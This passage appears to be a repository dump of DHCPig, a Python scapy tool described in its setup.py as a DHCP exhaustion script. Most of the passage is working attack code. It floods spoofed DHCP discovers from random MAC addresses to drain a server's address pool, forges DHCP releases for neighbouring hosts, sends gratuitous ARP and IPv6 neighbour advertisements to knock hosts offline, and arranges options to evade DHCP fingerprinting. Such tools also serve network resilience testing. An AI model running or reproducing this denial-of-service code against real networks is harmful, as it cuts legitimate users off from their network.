Necessary Network functions not included in scapy\n#\ndef randomMAC():\n    global MAC_LIST\n    if len(MAC_LIST)>0:\n        curr = MAC_LIST.pop()\n        MAC_LIST = [curr]+MAC_LIST\n        return curr\n    mac = [ 0xDE, 0xAD, \n        random.randint(0x00, 0x29),\n        random.randint(0x00, 0x7f),\n        random.randint(0x00, 0xff),\n        random.randint(0x00, 0xff) ]\n    return ':'.join(map(lambda x: \"%02x\" % x, mac))\n\n\ndef toNum(ip):\n    \"convert decimal dotted quad string to long integer\"\n    return struct.unpack('L',socket.inet_aton(ip))[0]\n\n\ndef get_if_net(iff):\n    for net, msk, gw, iface, addr, metric in read_routes():\n        if (iff == iface and net != 0):\n            return ltoa(net)\n    warning(\"No net address found for iface %s\\n\" % iff)\n\n\ndef get_if_msk(iff):\n    for net, msk, gw, iface, addr, metric in read_routes():\n        if (iff == iface and net != 0):\n            return ltoa(msk)\n    warning(\"No net address found for iface %s\\n\" % iff)\n\n\ndef get_if_ip(iff):\n    for net, msk, gw, iface, addr, metric in read_routes():\n        if (iff == iface and net != 0):\n            return addr\n    warning(\"No net address found for iface %s\\n\" % iff)\n\n\ndef calcCIDR(mask):\n    mask = mask.split('.')\n    bits = []\n    for c in mask:\n        bits.append(bin(int(c)))\n    bits = ''.join(bits)\n    cidr = 0\n    for c in bits:\n        if c == '1': cidr += 1\n    return str(cidr)\n\n\ndef unpackMAC(binmac):\n    return str2mac(binmac)\n\n\n##########################################################\n#\n#  IPv6 Packet crafting\n#\n\n\"\"\"\n    protocol specific stuff\n\nc2s -> solicit\ns2c -> advertise \nc2s -> request\ns2c -> reply\n\n\"\"\"\n\ndef v6_build_ether(mac):\n    IPv6mcast=\"33:33:00:01:00:02\"\n    #IPv6LL=\"fe80::20c:29ff:fef8:a1c8\"\n    IPv6LL = [addr for addr,y,intf in in6_getifaddr() if intf==conf.iface]\n    if len(IPv6LL)>0:\n        IPv6LL=IPv6LL[0]\n    else:\n        LOG(type=\"NOTICE\",message=\"Could not determine v6 Link-Local Address\")\n        exit()\n    IPv6bcast=\"ff02::1:2\"\n    IPv6DHCP_CLI_Port=546\n    IPv6DHCP_SRV_Port=547\n    ethead=Ether(src=mac,dst=IPv6mcast)/IPv6(src=IPv6LL,dst=IPv6bcast)/UDP(sport=IPv6DHCP_CLI_Port,dport=IPv6DHCP_SRV_Port)\n    return ethead\n\ndef v6_build_discover(mac,trid=None,options=[23,24]):\n    ethead=v6_build_ether(mac)\n    trid=trid or random.randint(0x00,0xffffff)\n    cli_id=DHCP6OptClientId(duid=DUID_LLT(lladdr=mac,timeval=int(time.time())))\n    if DO_v6_RC:\n        dhcp_discover = ethead/DHCP6_Solicit(trid=trid)/cli_id/DHCP6OptIA_NA(iaid=0xf)/DHCP6OptRapidCommit()/DHCP6OptElapsedTime()/DHCP6OptOptReq(reqopts=options)\n    else:\n        dhcp_discover = ethead/DHCP6_Solicit(trid=trid)/cli_id/DHCP6OptIA_NA(iaid=0xf)/DHCP6OptElapsedTime()/DHCP6OptOptReq(reqopts=options)\n    return dhcp_discover\n\ndef v6_build_request(p_advertise,iaid=0xf,trid=None,options=[23,24]):\n    trid=trid or random.randint(0x00,0xffffff)\n    ethead=v6_build_ether(p_advertise[Ether].dst)\n    srv_id=DHCP6OptServerId(duid=p_advertise[DHCP6OptServerId].duid)\n    cli_id=p_advertise[DHCP6OptClientId]\n    iana=DHCP6OptIA_NA(ianaopts=p_advertise[DHCP6OptIA_NA].ianaopts, iaid=iaid)\n    dhcp_request=ethead/DHCP6_Request(trid=trid)/cli_id/srv_id/iana/DHCP6OptElapsedTime()/DHCP6OptOptReq( reqopts=options)\n    return dhcp_request\n\ndef v6_build_release(p_advertise,mac,iaid=0xf,trid=None):\n    trid=trid or random.randint(0x00,0xffffff)\n    ethead=v6_build_ether(p_advertise[Ether].dst)\n    srv_id=DHCP6OptServerId(duid=p_advertise[DHCP6OptServerId].duid)\n    cli_id=DHCP6OptClientId(duid=DUID_LLT(lladdr=mac,timeval=int(time.time())))\n    iana=DHCP6OptIA_NA(ianaopts=p_advertise[DHCP6OptIA_NA].ianaopts, iaid=iaid)\n    dhcp_request=ethead/DHCP6_Release(trid=trid)/cli_id/srv_id/iana/DHCP6OptElapsedTime()\n    return dhcp_request\n\ndef sendPacket(pkt):\n    if MODE_FUZZ:\n        # only fuzz: UDP with payload of UDP (DHCP messages)\n        pkt[UDP] = fuzz(pkt[UDP])\n    #pkt = [pkt]*100\n    sendp(pkt, iface=conf.iface)\n\n\ndef neighbors():\n    \"\"\"\n    ARP and create map of LAN neighbors \n    \"\"\"\n    global dhcpsip, subnet, nodes\n    nodes = {}\n    if MODE_IPv6:\n        LOG(type=\"WARNING\", message=\"IPv6 - neighbors() not supported at this point \")\n    else:\n        myip = get_if_ip(conf.iface)\n        LOG(type=\"DEBUG\", message=\"NEIGHBORS:  net = %s  : msk =%s  : CIDR=%s\"%(get_if_net(conf.iface),get_if_msk(conf.iface),calcCIDR(get_if_msk(conf.iface))))\n        pool = Net(myip + \"/\" + calcCIDR(get_if_msk(conf.iface)))\n        for ip in pool:\n            LOG(type=\"<--\", message=\"ARP: sending %s \" %ip)\n            arp_request=Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=ip, psrc=myip)\n            sendPacket(arp_request)\n            time.sleep(0.005)\n\n\ndef release():\n    \"\"\"\n        send release for our neighbors\n    \"\"\"\n    global dhcpsmac,dhcpsip,nodes,p_dhcp_advertise\n    if MODE_IPv6 and p_dhcp_advertise and DHCP6OptServerId in p_dhcp_advertise:\n        LOG(type=\"WARNING\", message= \" IPv6 - release() is not supported and supposed to be experimental - feel free to add code! \")\n        return\n        # we are releaseing client IDs!\n        m=randomMAC()\n        v6_build_release(p_dhcp_advertise,mac)\n    else:\n        LOG(type=\"NOTICE\", message= \"***  Sending DHCPRELEASE for neighbors \")\n        #iterate over all nodes and release their IP from DHCP server\n        for cmac,cip in nodes.items():\n            myxid = random.randint(1, 900000000)\n            LOG(type=\"-->\", message= \"Releasing %s - %s serverip=%s  xid=%i\"%(cmac,cip,dhcpsip,myxid))\n            dhcp_release =  IP(src=cip,dst=dhcpsip)/UDP(sport=68,dport=67)/BOOTP(ciaddr=cip,chaddr=[mac2str(cmac)],xid=myxid)/\\\n                            DHCP(options=[(\"message-type\",\"release\"),(\"server_id\",dhcpsip),(\"client_id\",chr(1),mac2str(cmac)),\"end\"])\n            sendPacket(dhcp_release)\n            if conf.verb: LOG(type=\"DEBUG\", message= \"%r\"%dhcp_release )\n\n\ndef garp():\n    \"\"\" \n        knock nodes offline\n    \"\"\"\n    global dhcpsip, subnet\n    if MODE_IPv6:\n        LOG(type=\"NOTICE\", message=\"IPv6 - gratious_arp() not supported at this point \")\n        return\n        pool=Net6(dhcpsip+\"/\"+calcCIDR(subnet))\n        for ip in pool:\n            m=randomMAC()\n            # craft packet  Ether/IPv6/ICMPv6_ND_NA/ICMPv6NDOptDstLLAddr\n            LL_ScopeALL_Multicast_Address=\"ff02::1\"\n            arpp = Ether(src=m,dst=\"33:33:00:00:00:01\")/IPv6(src=ip,dst=LL_ScopeALL_Multicast_Address)/ICMPv6ND_NA(tgt=ip,R=0)/ICMPv6NDOptDstLLAddr(lladdr=\"00:00:00:00:00:00\")\n            sendPacket(arpp)\n            LOG(type=\"-->\", message= \"v6_ICMP_NeighborDiscovery - knock offline  %s\"%ip)\n            if conf.verb: LOG(type=\"DEBUG\", message=\"%r\"%arpp)\n    else:\n        pool = Net(dhcpsip+\"/\"+calcCIDR(subnet))\n        for ip in pool:\n            m = randomMAC()\n            arpp = Ether(src=m, dst=\"ff:ff:ff:ff:ff:ff\")/ARP(hwsrc=m, psrc=ip, hwdst=\"00:00:00:00:00:00\", pdst=ip)\n            sendPacket(arpp)\n            LOG(type=\"-->\", message=\"Gratious_ARP - knock offline %s\"%ip)\n            if conf.verb: LOG(type=\"DEBUG\", message=\"%r\"%arpp)\n\n\nclass send_dhcp(threading.Thread):\n    \"\"\"\n    loop and send Discovers\n    \"\"\"\n    def __init__(self):\n        threading.Thread.__init__(self)\n        self.kill_received = False\n\n    def run(self):\n       global TIMEOUT, dhcpdos, REQUEST_OPTS, ETHERNET_MAC\n       while not self.kill_received and not dhcpdos:\n            m = randomMAC()\n            myxid = random.randint(1, 900000000)\n            if ETHERNET_MAC:\n                mymac = m\n            else:\n                mymac = get_if_hwaddr(conf.iface)\n            hostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))\n            # Mac OS options order to avoid DHCP fingerprinting\n            myoptions = [\n                (\"message-type\", \"discover\"),\n                #  Can replace numeric representation with DHCPRevOptions[],\n                #  but not all parameters are defined in scapy.  For full list see:\n                #  https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml\n                ('param_req_list',\n                1, # Subnet Mask DHCPRevOptions[\"subnet_mask\"][0]\n                121, # Classless Satic Route\n                3, # Router DHCPRevOptions[\"router\"][0]\n                6, # Domain Name Server DHCPRevOptions[\"name_server\"][0]\n                15, # Domain Name DHCPRevOptions[\"domain\"][0]\n                119, # Domain Seach\n                252, # Private/Proxy Autodiscovery\n                95, # LDAP\n                44, # NetBIOS over TCP/IP Name Server DHCPRevOptions[\"NetBIOS_server\"][0]\n                46 # NetBIOS over TCP/IP Node Type\n                ),\n                (\"max_dhcp_size\",1500),\n                (\"client_id\", chr(1), mac2str(m)),\n                (\"lease_time\",10000),\n                (\"hostname\", hostname),\n                (\"end\",'00000000000000')\n            ]\n            if MODE_IPv6:\n                dhcp_discover = v6_build_discover(m,trid=myxid,options=REQUEST_OPTS)\n                LOG(type=\"-->\", message=\"v6_DHCP_Discover [cid:%s]\"%(repr(str(dhcp_discover[DHCP6OptClientId].duid))))\n            else:\n                dhcp_discover = Ether(src=mymac,dst=\"ff:ff:ff:ff:ff:ff\")/IP(src=\"0.0.0.0\",dst=\"255.255.255.255\")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(m)],xid=myxid,flags=0x8000)/DHCP(options=myoptions)\n                LOG(type=\"-->\", message=\"DHCP_Discover\")\n            sendPacket(dhcp_discover)\n            if TIMEOUT['timer']>0: \n                time.sleep(TIMEOUT['timer'])\n\n\nclass sniff_dhcp(threading.Thread):\n    \"\"\"\n    sniff DHCP Offers and ACK\n    \"\"\"\n    def __init__(self):\n        threading.Thread.__init__(self)\n        if MODE_IPv6:\n            self.filter = \"icmp6 or (udp and src port 547 and dst port 546)\"\n        else:\n            self.filter = \"arp or icmp or (udp and src port 67 and dst port 68)\"\n        self.kill_received = False\n        self.dhcpcount = 0\n\n    def run(self):\n        global dhcpdos\n        while not self.kill_received and not dhcpdos:\n            sniff(filter=self.filter, prn=self.detect_dhcp, store=0, timeout=3, iface=conf.iface)\n            if self.dhcpcount>0 : LOG(type=\"NOTICE\", message=\"timeout waiting on dhcp packet count %d\"%self.dhcpcount)\n            self.dhcpcount += 1\n            if not MODE_FUZZ and self.dhcpcount==5: dhcpdos = True\n    \n    @staticmethod\n    def get_server_identifier(bootp_siaddr: str, dhcp_options: list) -> str:\n        for opt in dhcp_options:\n            if opt[0] == 'server_id':\n                return opt[1]\n        return bootp_siaddr\n        \n          \n    def detect_dhcp(self, pkt):\n        global dhcpsmac,dhcpsip,subnet,SHOW_ARP,SHOW_DHCPOPTIONS,SHOW_ICMP,DO_v6_RC,p_dhcp_advertise, SHOW_LEASE_CONFIRM,REQUEST_OPTS, ETHERNET_MAC\n        if MODE_IPv6:\n            if DHCP6_Advertise in pkt:\n                self.dhcpcount = 0\n                if DHCP6OptIAAddress in pkt and DHCP6OptServerId in pkt:\n                    p_dhcp_advertise = pkt\n                    myip = pkt[DHCP6OptIAAddress].addr\n                    sip = repr(pkt[DHCP6OptServerId].duid.lladdr)\n                    cip = repr(pkt[DHCP6OptClientId].duid.lladdr)\n                    myhostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))\n            \n                    LOG(type=\"<--\", message=(\"v6 ADVERTISE FROM [%s] -> [%s] - LEASE: IPv6[%s]\"%(sip,cip,myip)))\n                    if SHOW_DHCPOPTIONS:\n                        b = pkt[DHCP6_Advertise]\n                        b=str(b.show)\n                        for h in b.split(\"|<\"):\n                            LOG(type=\"DEBUG\",message=\"\\t* %s\"%h)\n                    \n                    if not DO_v6_RC:\n                        # we dont need to request the address if we're using rapid commit mode (2 message: solict / reply)\n                        dhcp_req=v6_build_request(pkt,options=REQUEST_OPTS)\n                        sendPacket(dhcp_req)\n                        LOG(type=\"-->\", message= \"v6 REQUEST ACK IPv6[%s]\\n\"%myip)\n\n            elif SHOW_LEASE_CONFIRM and DHCP6_Reply in pkt :\n                myip=pkt[DHCP6OptIAAddress].addr\n                sip=repr(pkt[DHCP6OptServerId].duid.lladdr)\n                cip=repr(pkt[DHCP6OptClientId].duid.lladdr)\n                LOG(type=\"<-\", message=(\"v6 DHCP REPLY FROM [%s] -> [%s] - LEASE: IPv6[%s]\"%(sip,cip,myip)))\n            elif SHOW_ICMP and ICMPv6ND_NS in pkt and ICMPv6NDOptSrcLLAddr in pkt :\n                LOG(type=\"<-\", message= \"v6 ICMP REQUEST FROM [%s] -> [%s]\"%(pkt[ICMPv6NDOptSrcLLAddr].lladdr,pkt[ICMPv6ND_NS].tgt)) \n        else:\n            if DHCP in pkt:\n                if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:\n                    self.dhcpcount=0\n                    dhcpsip = pkt[IP].src\n                    dhcpsmac = pkt[Ether].src\n                    for opt in pkt[DHCP].options:\n                        if opt[0] == 'subnet_mask':\n                            subnet=opt[1]\n                            break\n                    myip=pkt[BOOTP].yiaddr\n                    sip=self.get_server_identifier(pkt[BOOTP].siaddr, pkt[DHCP].options)\n                    localxid=pkt[BOOTP].xid\n                    localm=unpackMAC(pkt[BOOTP].chaddr)\n                    if ETHERNET_MAC:\n                        mymac = localm\n                    else:\n                        mymac = get_if_hwaddr(conf.iface)\n                    myhostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))\n                    LOG(type=\"<--\", message= \"DHCP_Offer   \" + pkt[Ether].src +\"\\t\"+sip + \" IP: \"+myip+\" for MAC=[\"+localm+\"]\")\n    \n                    if SHOW_DHCPOPTIONS:\n                        b = pkt[BOOTP]\n                        LOG(type=\"DEBUG\", message=  \"\\t* xid=%s\"%repr(b.xid))\n                        LOG(type=\"DEBUG\", message=  \"\\t* CIaddr=%s\"%repr(b.ciaddr)  )      \n                        LOG(type=\"DEBUG\", message=  \"\\t* YIaddr=%s\"%repr(b.yiaddr)  )\n                        LOG(type=\"DEBUG\", message=  \"\\t* SIaddr=%s\"%repr(b.siaddr)  )\n                        LOG(type=\"DEBUG\", message=  \"\\t* GIaddr=%s\"%repr(b.giaddr)  )\n                        LOG(type=\"DEBUG\", message=  \"\\t* CHaddr=%s\"%repr(b.chaddr)  )\n                        LOG(type=\"DEBUG\", message=  \"\\t* Sname=%s\"%repr(b.sname)  )\n                        for o in pkt[DHCP].options:\n                            if isinstance(o,str):\n                                if o==\"end\": break        #supress spam paddings :)\n                                LOG(type=\"DEBUG\", message=  \"\\t\\t* \"+repr(o)  )\n                            else:\n                                LOG(type=\"DEBUG\", message=  \"\\t\\t* %s\\t%s\"%(o[0],o[1:])  )    \n\n                    # (\"param_req_list\",0) is the equivalent of using DHCPRevOptions[\"pad\"][0]\n                    dhcp_req = Ether(src=mymac,dst=\"ff:ff:ff:ff:ff:ff\")/IP(src=\"0.0.0.0\",dst=\"255.255.255.255\")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(localm)],xid=localxid,flags=0x8000)/DHCP(options=[(\"message-type\",\"request\"),(\"server_id\",sip),(\"requested_addr\",myip),(\"hostname\",myhostname),(\"param_req_list\",0),\"end\"])\n                    \n                    LOG(type=\"-->\", message= \"DHCP_Request \"+myip)\n                    sendPacket(dhcp_req)\n                elif SHOW_LEASE_CONFIRM and pkt[DHCP] and pkt[DHCP].options[0][1] == 5:\n                    myip=pkt[BOOTP].yiaddr\n                    sip=self.get_server_identifier(pkt[BOOTP].siaddr, pkt[DHCP].options)\n                    LOG(type=\"<-\", message= \"DHCP_ACK   \" + pkt[Ether].src +\"\\t\"+sip + \" IP: \"+myip+\" for MAC=[\"+pkt[Ether].dst+\"]\")\n            \n            elif ICMP in pkt:\n                if pkt[ICMP].type==8:\n                    myip=pkt[IP].dst\n                    mydst=pkt[IP].src\n                    if SHOW_ICMP: LOG(type=\"<-\", message= \"ICMP_Request \"+mydst+\" for \"+myip )\n                    icmp_req=Ether(src=randomMAC(),dst=pkt.src)/IP(src=myip,dst=mydst)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/\"12345678912345678912\"\n                    if conf.verb: \n                        LOG(type=\"DEBUG\", message=  \"%r\"%icmp_req )\n                    sendPacket(icmp_req)\n\n            elif SHOW_ARP and ARP in pkt:\n                myip = pkt[ARP].pdst\n                mydst = pkt[ARP].psrc\n                if pkt[ARP].op ==1:        #op=1 who has, 2 is at\n                    LOG(type=\"DEBUG\", message=\"ARP_Request \" + myip + \" from \" + mydst)\n                elif pkt[ARP].op ==2:\n                    myip=pkt[ARP].psrc\n                    myhw=pkt[ARP].hwsrc\n                    LOG(type=\"<-\", message= \"ARP_Response %s : %s\" %(myip, myhw))\n                    nodes[myhw] = myip\n\n\ndef main():\n    \"\"\"\n    \"\"\"\n    global THREAD_POOL,dhcpdos,dhcpsip,dhcpsmac,subnet,nodes,THREAD_CNT,p_dhcp_advertise\n    \n    checkArgs()\n    LOG(type=\"NOTICE\", message= \"[INFO] - using interface %s\"%conf.iface)\n    signal.signal(signal.SIGINT, signal_handler)\n    dhcpsip=None\n    dhcpsmac=None\n    subnet=None\n    nodes={}\n    dhcpdos=False \n    p_dhcp_advertise = None # contains dhcp advertise pkt once it is received (base for creating release())\n\n    LOG(type=\"DEBUG\",message=\"Thread %d - (Sniffer) READY\"%len(THREAD_POOL))\n    t=sniff_dhcp()\n    t.start()\n    THREAD_POOL.append(t)\n    \n    for i in range(THREAD_CNT):\n        LOG(type=\"DEBUG\",message=\"Thread %d - (Sender) READY\"%len(THREAD_POOL))\n        t=send_dhcp()\n        t.start()\n        THREAD_POOL.append(t)\n\n    fail_cnt=20\n    while dhcpsip==None and fail_cnt>0:\n        time.sleep(TIMEOUT['dhcpip'])\n        LOG(type=\"?\", message= \"\\t\\twaiting for first DHCP Server response\")\n        fail_cnt-=1\n    \n    if fail_cnt==0:\n        LOG(type=\"NOTICE\", message= \"[FAIL] No DHCP offers detected - aborting\")\n        signal_handler(signal.SIGINT,fail_cnt)\n\n    if DO_ARP: neighbors()\n    if DO_RELEASE: release()\n       \n    while not dhcpdos:\n        time.sleep(TIMEOUT['dos'])\n        LOG(type=\"?\", message= \" \\t\\twaiting for DHCP pool exhaustion...\")\n    \n    if DO_GARP:   \n        LOG(type=\"NOTICE\", message= \"[INFO] waiting %s to mass grat.arp!\"%TIMEOUT['dos'])\n        time.sleep(TIMEOUT['dos'])\n        garp()\n    LOG(type=\"NOTICE\", message= \"[DONE] DHCP pool exhausted!\")\n  \ndef usage():\n    print(__doc__)\n    \nif __name__ == '__main__':\n    main()\n    print(\"\\n\")\n"
  },
  {
    "path": "setup.py",
    "content": "#!/usr/bin/python\n\n# setup.py Authors:\n#   Philippe Thierry <phil@reseau-libre.net>\n\nimport os\nimport os.path\n\nfrom distutils.core import setup\n\nsetup(\n    name=\"dhcpig\",\n    author=\"Kevin Amorin\",\n    description=\"DHCP exhaustion script using scapy network library\",\n    license=\"GPL2+\",\n    url=\"https://github.com/kamorin/DHCPig\",\n    scripts=[\n        (\"pig.py\")\n    ],\n)\n"
  }
]